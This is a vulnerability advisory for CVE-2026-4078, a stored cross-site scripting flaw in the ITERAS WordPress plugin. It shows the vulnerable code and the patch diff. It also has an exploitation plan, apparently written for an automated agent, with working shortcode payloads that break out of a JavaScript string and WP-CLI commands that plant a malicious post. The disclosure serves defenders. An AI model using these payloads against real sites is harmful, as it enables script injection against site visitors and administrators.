CVE-2026-4078

ITERAS <= 1.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.8.3
Patched in
1d
Time to patch

Description

The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes (iteras-ordering, iteras-signup, iteras-paywall-login, iteras-selfservice) in all versions up to and including 1.8.2. This is due to insufficient input sanitization and output escaping in the combine_attributes() function. The function directly concatenates shortcode attribute values into JavaScript code within <script> tags using double-quoted string interpolation (line 489: '"'.$key.'": "'.$value.'"') without any escaping. An attacker can break out of the JavaScript string context by including a double-quote character in a shortcode attribute value and inject arbitrary JavaScript. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.2
PublishedApril 23, 2026
Last updatedApril 24, 2026
Affected pluginiteras

What Changed in the Fix

Changes introduced in v1.8.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4078 (ITERAS <= 1.8.2) ## 1. Vulnerability Summary The **ITERAS** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** via several shortcodes: `[iteras-ordering]`, `[iteras-signup]`, `[iteras-paywall-login]`, and `[iteras-selfservice]`. …

Show full research plan

Exploitation Research Plan: CVE-2026-4078 (ITERAS <= 1.8.2)

1. Vulnerability Summary

The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via several shortcodes: [iteras-ordering], [iteras-signup], [iteras-paywall-login], and [iteras-selfservice].

The vulnerability exists in the combine_attributes() function (located in public/iteras-public.php), which is used to transform shortcode attributes into a JavaScript object for the ITERAS API. The function improperly handles input by directly concatenating attribute values into a double-quoted JavaScript string context:
'"'.$key.'": "'.$value.'"' (Source: CVE description, line 489).

Because the $value is not escaped or sanitized for a JavaScript string context, an attacker can use a double-quote (") to break out of the string and inject arbitrary JavaScript code.

2. Attack Vector Analysis

  • Authentication Level: Contributor or higher. Contributors have the edit_posts capability, allowing them to create posts/pages and insert shortcodes.
  • Affected Shortcodes:
    • [iteras-ordering]
    • [iteras-signup]
    • [iteras-paywall-login]
    • [iteras-selfservice]
  • Vulnerable Parameter: Any arbitrary attribute key-value pair passed to these shortcodes (e.g., [iteras-ordering x="PAYLOAD"]).
  • Preconditions: The plugin must be active. Some shortcodes may require the profile_name (ITERAS URL-id) to be configured in the plugin settings to trigger the rendering of the vulnerable <script> tag.

3. Code Flow

  1. Entry Point: A user with Contributor privileges creates or edits a post containing a shortcode like [iteras-ordering x='";alert(1)//'].
  2. Shortcode Registration: In public/iteras-public.php, the plugin registers shortcodes in the __construct method:
    add_shortcode( 'iteras-ordering', array( $this, 'ordering_shortcode') );
    
  3. Shortcode Execution: When the post is viewed, WordPress processes the_content filter, triggering ordering_shortcode($atts).
  4. Vulnerable Sink: The callback (e.g., ordering_shortcode) passes the $atts array to the combine_attributes() function.
  5. String Concatenation: combine_attributes() iterates through the attributes and builds a string:
    // Vulnerable line (as identified in CVE)
    $output .= '"'.$key.'": "'.$value.'"';
    
  6. Output: The resulting string is wrapped in a <script> tag and echoed to the page, executing the injected payload in the visitor's browser.

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS through post content.

  • Shortcode Rendering: No nonce is required to trigger the rendering of a shortcode when viewing a page.
  • Post Creation (Injection): If using the WordPress Web UI to inject the shortcode, standard WordPress _wpnonce values for post creation/editing are required. However, the automated agent can bypass the Web UI by using WP-CLI to create the malicious post directly in the test environment.

5. Exploitation Strategy

  1. Setup Plugin Settings: Configure dummy ITERAS settings to ensure the plugin attempts to render the API scripts.
  2. Inject Payload: Create a post as a Contributor containing the malicious shortcode.
  3. Verify Execution: Navigate to the post URL as an unauthenticated user or administrator and check for the execution of the injected script.

Payload Construction

Given the sink: '"'.$key.'": "'.$value.'"'

  • Shortcode: [iteras-ordering x='";alert(document.domain)//']
  • Resulting JS snippet: ..., "x": "";alert(document.domain)//"}

6. Test Data Setup

  1. Configure Plugin:
    wp option update iteras_settings '{"profile_name":"vulnerable-test","api_key":"dummy_key","signing_key":"dummy_key","paywalls":[]}' --format=json
    
  2. Create Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Create Malicious Post:
    wp post create --post_type=post --post_status=publish --post_title="ITERAS XSS Test" --post_content='[iteras-ordering x="\";alert(document.domain)//"]' --post_author=$(wp user get attacker --field=ID)
    

7. Expected Results

  • When navigating to the newly created post, the HTML source should contain a <script> tag associated with ITERAS.
  • Inside that script, the attribute x will contain the broken string: "x": "";alert(document.domain)//".
  • A browser alert displaying the document domain should trigger.

8. Verification Steps

  1. Browser Verification: Use browser_navigate to the post URL. Check if an alert was triggered using browser_eval("window.confirm('Verification')") or by inspecting the console/DOM.
  2. Source Inspection:
    # Using http_request to check for the raw payload in the response body
    # Look for the specific pattern in script tags
    grep -C 5 "iteras" 
    

9. Alternative Approaches

If [iteras-ordering] fails to render due to missing API configurations, try [iteras-signup] or [iteras-paywall-login].
If double-quotes are escaped by WordPress the_content filter (unlikely for shortcode attributes), try a payload using single quotes if the plugin logic allows it, or use HTML entities (though combine_attributes likely operates on the raw attribute array which should be unescaped at that stage).

Note on attribute keys: The CVE mentions the $key is also concatenated. If $value is somehow sanitized, the $key might also be a viable injection point: [iteras-ordering ";alert(1)//="test"].

Research Findings
Static analysis — not yet PoC-verified

Summary

The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in versions up to and including 1.8.2. This occurs because shortcode attributes are directly concatenated into a double-quoted JavaScript string context within <script> tags without proper escaping, allowing attackers with Contributor-level access to inject arbitrary scripts.

Vulnerable Code

// public/iteras-public.php line 483

private function combine_attributes($attrs) {
    $transformed = array();

    foreach ($attrs as $key => $value) {
      if (is_array($value)) {
        array_push($transformed, '"'.$key.'": '.json_encode($value));
      }
      elseif ($value) {
        array_push($transformed, '"'.$key.'": "'.$value.'"');
      }
    }

    if (empty($transformed))
      return "";
    else
      return ", ".implode(", ", $transformed);
  }

---

// public/iteras-public.php line 511

function ordering_shortcode($attrs) {
    // automatically product prefill if GET-paramter is supplied

    if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) {
      $attrs['prefill'] = array("products" => $_GET['orderproduct']);
    }

    return '<script>
      document.write(Iteras.orderingiframe({
        "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).'
      }));</script>';
  }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.2/admin/iteras-admin.php /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.3/admin/iteras-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.2/admin/iteras-admin.php	2025-02-07 12:33:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.3/admin/iteras-admin.php	2026-04-16 07:30:54.000000000 +0000
@@ -361,7 +361,7 @@
       'user_url' => sanitize_text_field($_POST['user_url']),
       'default_access' => sanitize_text_field($_POST['default_access']),
       'paywall_display_type' => sanitize_text_field($_POST['paywall_display_type']),
-      'paywall_box' => stripslashes($_POST['paywall_box']),
+      'paywall_box' => wp_kses_post(wp_unslash($_POST['paywall_box'])),
       'paywall_snippet_size' => sanitize_text_field($_POST['paywall_snippet_size']),
       'paywall_integration_method' => sanitize_text_field($_POST['paywall_integration_method']),
       'paywall_server_side_validation' => isset($_POST['paywall_server_side_validation']),
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.2/public/iteras-public.php /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.3/public/iteras-public.php
--- /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.2/public/iteras-public.php	2026-01-20 15:09:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/iteras/1.8.3/public/iteras-public.php	2026-04-16 07:30:54.000000000 +0000
@@ -483,10 +480,10 @@
 
     foreach ($attrs as $key => $value) {
       if (is_array($value)) {
-        array_push($transformed, '"'.$key.'": '.json_encode($value));
+        array_push($transformed, json_encode($key).': '.json_encode($value));
       }
       elseif ($value) {
-        array_push($transformed, '"'.$key.'": "'.$value.'"');
+        array_push($transformed, json_encode($key).': '.json_encode($value));
       }
     }
 
@@ -511,12 +508,12 @@
   function ordering_shortcode($attrs) {
     // automatically product prefill if GET-paramter is supplied
     if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) {
-      $attrs['prefill'] = array("products" => $_GET['orderproduct']);
+      $attrs['prefill'] = array("products" => sanitize_text_field(wp_unslash($_GET['orderproduct'])));
     }
 
     return '<script>
       document.write(Iteras.orderingiframe({
-        "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).'
+        "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'
       }));</script>';
   }
 
@@ -524,7 +521,7 @@
   function signup_shortcode($attrs) {
     return '<script>
       document.write(Iteras.signupiframe({
-        "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).'
+        "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'
       }));</script>';
   }
 
@@ -548,7 +545,7 @@
     else {
       return '<script>
       document.write(Iteras.paywalliframe({
-        "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).'
+        "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'
       }));</script>';
     }
   }
@@ -558,7 +555,7 @@
   function selfservice_shortcode($attrs) {
     return '<script>
       document.write(Iteras.selfserviceiframe({
-        "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).'
+        "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'
       }));</script>';
   }

Exploit Outline

The exploit requires an attacker to have at least Contributor-level privileges to create or edit a post. The attacker inserts one of the affected shortcodes (e.g., [iteras-ordering]) with a malicious attribute value designed to break the JavaScript context. A payload such as [iteras-ordering x='";alert(1)//'] results in the plugin generating a script tag where the attribute 'x' is defined as "", followed by the injected JavaScript alert(1), and finally comments out the remainder of the intended string. When a victim (including an administrator) views the post, the injected JavaScript executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.